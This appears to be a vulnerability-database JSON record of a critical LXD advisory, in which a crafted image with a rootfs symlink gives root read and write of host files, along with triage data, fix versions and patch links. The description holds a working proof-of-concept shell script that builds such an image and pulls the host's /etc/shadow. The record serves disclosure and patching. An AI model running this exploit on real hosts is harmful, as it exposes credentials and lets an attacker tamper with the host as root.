{"id":"GHSA-vghh-5rfx-xhq8","kind":"vulnerability","aliases":["GHSA-vghh-5rfx-xhq8"],"related":[],"title":"LXD has arbitrary file read+write on host via rootfs/ symlink in malicious image","description":"Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv\n\n### Summary\n\nA specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nIncus validates an image as soon as it sees a normal `metadata.yaml` and\na `rootfs/` entry, but full extraction can later process a duplicate top-level\n`rootfs` symlink. Later, the stopped-container file API opens\n`d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to\nit.\n\n```\nmetadata.yaml\nrootfs/\nrootfs -> /\n```\n\nIn practice, this allows a malicious actor to access the host's filesystem\nwith root privileges.\n\n\n### PoC\n\nBelow, we map the container's rootfs to `/` on the host, but it can be\nmapped anywhere. We then retrieve the host's `/etc/shadow` file and\ncreate a file in `/`.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\ncat<<__EOF__>\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: PoC rootfs symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar\n\n# inject rootfs symlink\nrmdir rootfs\nln -s / rootfs\ntar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs\n\n\nincus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink\nincus init afrw-rootfs-symlink afrw-rootfs-symlink\n\n\n# read\nincus file pull afrw-rootfs-symlink/etc/shadow \"${tmpdir}/shadow\"\ncat \"${tmpdir}/shadow\"\n\n# write\nprintf 'afrw-rootfs-symlink\\n' >\"${tmpdir}/afrw-rootfs-symlink\"\nincus file push \"${tmpdir}/afrw-rootfs-symlink\" afrw-rootfs-symlink/\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink;\npossibly leading to command execution.","summary":"A crafted container image with a symlinked rootfs directory lets its container reach the host filesystem. An attacker who can import such an image can read and write arbitrary host files with root privileges, possibly leading to command execution.","severity":"critical","cvss":9.9,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/canonical/lxd","fixed":["0.0.0-20260630083100-c5184be310b1"],"affected":"< 0.0.0-20260630083100-c5184be310b1","ecosystem":"go"}],"ecosystems":["go"],"tags":["containers","cwe-73","infrastructure","linux","lxd","self-hosted"],"not_affected_if":["fixed-version","no-untrusted-images"],"how_to_check":"- Run `lxd --version` and compare against the fixed Go module version in the product data (commit c5184be310b1, 2026-06-30 snapshot).\n- Check whether images from untrusted sources can be imported into the server with `lxc image list`.","fix":"- Go module github.com/canonical/lxd: move to `0.0.0-20260630083100-c5184be310b1` or later.","status":"open","published_at":"2026-11-06T19:36:07+00:00","first_seen_at":"2026-11-06T19:38:16+00:00","triaged_at":"2026-11-06T19:39:30+00:00","updated_at":"2026-11-06T19:39:30+00:00","category":"infrastructure","confidence":0.7,"triage":{"at":"2026-11-06T19:39:30Z","model":"claude-haiku-5-5","output":{"fix":"- Go module github.com/canonical/lxd: move to `0.0.0-20260630083100-c5184be310b1` or later.","reach":"network","title":"LXD: malicious container image reads and writes host files as root","impact":"high","summary":"A crafted container image with a symlinked rootfs directory lets its container reach the host filesystem. An attacker who can import such an image can read and write arbitrary host files with root privileges, possibly leading to command execution.","audience":"businesses","category":"infrastructure","nicknames":[],"who_cares":["lxd","linux","self-hosted","containers"],"confidence":0.7,"fix_status":"available","needs_auth":"yes","worst_case":"attacker reads secrets and writes files as host root","analyst_note":"Confirm which LXD release line carries the fix, since the product data gives only a Go pseudo-version; the advisory and patch links are in the GHSA entry.","how_to_check":"- Run `lxd --version` and compare against the fixed Go module version in the product data (commit c5184be310b1, 2026-06-30 snapshot).\n- Check whether images from untrusted sources can be imported into the server with `lxc image list`.","plain_action":"","needs_analyst":true,"not_affected_if":["no-untrusted-images","fixed-version"],"who_is_affected":"Hosts running LXD that import container images, especially images from sources outside the team. The sources describe the flaw as a crafted image with a duplicate top-level rootfs symlink that later extraction follows. Hosts that only use images they build themselves or that never accept imports from outside are lower risk, but the sources do not say which configurations are exempt.","user_interaction":"no","needs_special_setup":"unknown","severity_if_unknown":"critical"},"cost_usd":0.000824,"input_tokens":5251,"output_tokens":598,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-73':30B '/afrw-rootfs-symlink':311C,316C '/afrw-rootfs-symlink.tar':252C,267C,273C '/bin/sh':204C '/canonical/lxd':27A '/etc/shadow':197C,297C '/img':244C '/img/metadata.yaml':227C '/img/rootfs':224C '/lxc/incus/security/advisories/ghsa-2q3f-q5pq-g8wv':80C '/shadow':299C,302C '0':247C,249C,263C,265C '1':233C '5rfx':18A,23A '64':230C 'access':165C 'actor':163C 'afrw':240C,276C,282C,286C,294C,306C,318C 'afrw-rootfs-symlink':275C,281C,285C,293C,305C,317C 'alia':274C 'allow':160C 'anywher':190C 'api':140C 'append':268C 'arbitrari':3A,65B,93C,101C,322C 'architectur':228C 'attack':54B 'c':251C 'cat':225C,300C 'cd':242C 'chroot':151C 'cleanup':210C,215C 'command':74B,102C,336C 'contain':28B,39B,48B,138C,178C 'craft':38B,84C 'creat':200C 'create/write':92C 'creation':231C 'cwe':29B 'd':209C 'd.rootfspath':142C 'date':232C 'descript':235C 'descriptor':147C 'detail':104C 'directori':45B 'duplic':128C 'entri':120C 'eof':241C 'eu':206C 'execut':75B,103C,337C 'exit':216C 'extract':123C 'f':250C,266C 'file':4A,67B,94C,139C,146C,198C,202C,291C,313C,323C 'filesystem':52B,169C 'forkfil':149C 'full':122C 'ghsa':16A,21A 'ghsa-vghh-5rfx-xhq8':15A,20A 'github.com':26A,79C 'github.com/canonical/lxd':25A 'github.com/lxc/incus/security/advisories/ghsa-2q3f-q5pq-g8wv':78C 'group':248C,264C 'host':8A,36B,51B,66B,97C,167C,184C,195C,239C,329C 'hup':220C 'imag':14A,40B,60B,85C,108C,271C 'impact':321C 'import':57B,272C 'incus':105C,270C,279C,290C,312C 'infrastructur':31B 'init':280C 'inject':253C 'int':217C 'later':125C,134C 'lead':72B,99C,334C 'let':46B 'level':131C 'linux':32B 'ln':258C 'lxd':1A,33B 'malici':13A,162C 'map':176C,189C 'metadata.yaml':116C,154C 'mkdir':221C 'mktemp':208C 'n':309C 'normal':115C 'open':141C 'owner':246C,262C 'p':222C 'pass':144C 'poc':173C,236C 'possibl':71B,98C,333C 'practic':158C 'printf':304C 'privileg':70B,172C 'process':126C 'properti':234C 'pull':292C 'push':314C 'quit':218C 'reach':49B 'read':5A,62B,90C,289C,324C 'report':76C 'retriev':193C 'rf':212C 'rm':211C 'rmdir':256C 'root':69B,171C 'rootf':10A,44B,119C,132C,155C,156C,180C,237C,254C,257C,260C,269C,277C,283C,287C,295C,307C,319C 'see':113C 'self':35B 'self-host':34B 'set':205C 'soon':110C 'special':83C 'stop':137C 'stopped-contain':136C 'summari':81C 'symlink':11A,43B,133C,238C,255C,278C,284C,288C,296C,308C,320C,332C 'tar':245C,261C 'term':219C 'tmpdir':207C,213C,223C,226C,243C,298C,301C,310C,315C 'top':130C 'top-level':129C 'trap':214C 'unsanit':331C 'use':88C 'valid':106C 'vghh':17A,22A 'via':9A,330C 'write':6A,64B,303C,326C 'x86':229C 'xhq8':19A,24A","nicknames":[],"mitigations":[],"who_affected":"Hosts running LXD that import container images, especially images from sources outside the team. The sources describe the flaw as a crafted image with a duplicate top-level rootfs symlink that later extraction follows. Hosts that only use images they build themselves or that never accept imports from outside are lower risk, but the sources do not say which configurations are exempt.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["githubcomcanonicallxd"],"ptokens":["canonical","com","github","lxd"],"labels":["containers","critical","cwe73","go","infrastructure","linux","lxd","selfhosted"],"campaign_type":null,"search_a":"'/canonical/lxd':27A '5rfx':18A,23A 'arbitrari':3A 'file':4A 'ghsa':16A,21A 'ghsa-vghh-5rfx-xhq8':15A,20A 'github.com':26A 'github.com/canonical/lxd':25A 'host':8A 'imag':14A 'lxd':1A 'malici':13A 'read':5A 'rootf':10A 'symlink':11A 'vghh':17A,22A 'via':9A 'write':6A 'xhq8':19A,24A","search_b":"'-73':30B 'arbitrari':65B 'attack':54B 'command':74B 'contain':28B,39B,48B 'craft':38B 'cwe':29B 'directori':45B 'execut':75B 'file':67B 'filesystem':52B 'host':36B,51B,66B 'imag':40B,60B 'import':57B 'infrastructur':31B 'lead':72B 'let':46B 'linux':32B 'lxd':33B 'possibl':71B 'privileg':70B 'reach':49B 'read':62B 'root':69B 'rootf':44B 'self':35B 'self-host':34B 'symlink':43B 'write':64B","search_c":"'/afrw-rootfs-symlink':311C,316C '/afrw-rootfs-symlink.tar':252C,267C,273C '/bin/sh':204C '/etc/shadow':197C,297C '/img':244C '/img/metadata.yaml':227C '/img/rootfs':224C '/lxc/incus/security/advisories/ghsa-2q3f-q5pq-g8wv':80C '/shadow':299C,302C '0':247C,249C,263C,265C '1':233C '64':230C 'access':165C 'actor':163C 'afrw':240C,276C,282C,286C,294C,306C,318C 'afrw-rootfs-symlink':275C,281C,285C,293C,305C,317C 'alia':274C 'allow':160C 'anywher':190C 'api':140C 'append':268C 'arbitrari':93C,101C,322C 'architectur':228C 'c':251C 'cat':225C,300C 'cd':242C 'chroot':151C 'cleanup':210C,215C 'command':102C,336C 'contain':138C,178C 'craft':84C 'creat':200C 'create/write':92C 'creation':231C 'd':209C 'd.rootfspath':142C 'date':232C 'descript':235C 'descriptor':147C 'detail':104C 'duplic':128C 'entri':120C 'eof':241C 'eu':206C 'execut':103C,337C 'exit':216C 'extract':123C 'f':250C,266C 'file':94C,139C,146C,198C,202C,291C,313C,323C 'filesystem':169C 'forkfil':149C 'full':122C 'github.com':79C 'github.com/lxc/incus/security/advisories/ghsa-2q3f-q5pq-g8wv':78C 'group':248C,264C 'host':97C,167C,184C,195C,239C,329C 'hup':220C 'imag':85C,108C,271C 'impact':321C 'import':272C 'incus':105C,270C,279C,290C,312C 'init':280C 'inject':253C 'int':217C 'later':125C,134C 'lead':99C,334C 'level':131C 'ln':258C 'malici':162C 'map':176C,189C 'metadata.yaml':116C,154C 'mkdir':221C 'mktemp':208C 'n':309C 'normal':115C 'open':141C 'owner':246C,262C 'p':222C 'pass':144C 'poc':173C,236C 'possibl':98C,333C 'practic':158C 'printf':304C 'privileg':172C 'process':126C 'properti':234C 'pull':292C 'push':314C 'quit':218C 'read':90C,289C,324C 'report':76C 'retriev':193C 'rf':212C 'rm':211C 'rmdir':256C 'root':171C 'rootf':119C,132C,155C,156C,180C,237C,254C,257C,260C,269C,277C,283C,287C,295C,307C,319C 'see':113C 'set':205C 'soon':110C 'special':83C 'stop':137C 'stopped-contain':136C 'summari':81C 'symlink':133C,238C,255C,278C,284C,288C,296C,308C,320C,332C 'tar':245C,261C 'term':219C 'tmpdir':207C,213C,223C,226C,243C,298C,301C,310C,315C 'top':130C 'top-level':129C 'trap':214C 'unsanit':331C 'use':88C 'valid':106C 'via':330C 'write':303C,326C 'x86':229C","first_public_at":"2026-11-06T19:36:07+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-vghh-5rfx-xhq8","url":"https://github.com/advisories/GHSA-vghh-5rfx-xhq8","severity":"critical","published_at":"2026-11-06T19:36:07+00:00","modified_at":"2026-11-06T19:36:08+00:00","first_seen_at":"2026-11-06T19:38:16+00:00","fetched_at":"2026-11-06T19:38:16+00:00","note":null}],"documents":[{"id":89145,"url":"https://api.github.com/repos/canonical/lxd/security-advisories/GHSA-vghh-5rfx-xhq8","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":89146,"url":"https://github.com/canonical/lxd/security/advisories/GHSA-vghh-5rfx-xhq8","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":88895,"url":"https://github.com/canonical/lxd/commit/190e2451544a60f6f924ef50a2112fb65d1923cd","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88866,"url":"https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89149,"url":"https://github.com/canonical/lxd/commit/3dbf4cea14124abda420dd5048d7e657cd30c1b7","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88867,"url":"https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89151,"url":"https://github.com/canonical/lxd/commit/51dc11ed5258fbb54dd8993b802af02d6d7b0235","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89152,"url":"https://github.com/canonical/lxd/commit/62bcee5471c2581fce10a648f6b27410ce081b87","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88900,"url":"https://github.com/canonical/lxd/commit/8751ea69e24583996a20fb5519dcf2d89470d8e9","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89154,"url":"https://github.com/canonical/lxd/commit/b499ec4b91dcc90f43aea444b1e19a58109772c2","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89155,"url":"https://github.com/canonical/lxd/commit/e2aeca6b78677751bab36a7e4efaad0c840ed9fd","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89156,"url":"https://github.com/canonical/lxd/commit/edb6d994f77333c9c33f4d9a137c754d142f3818","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}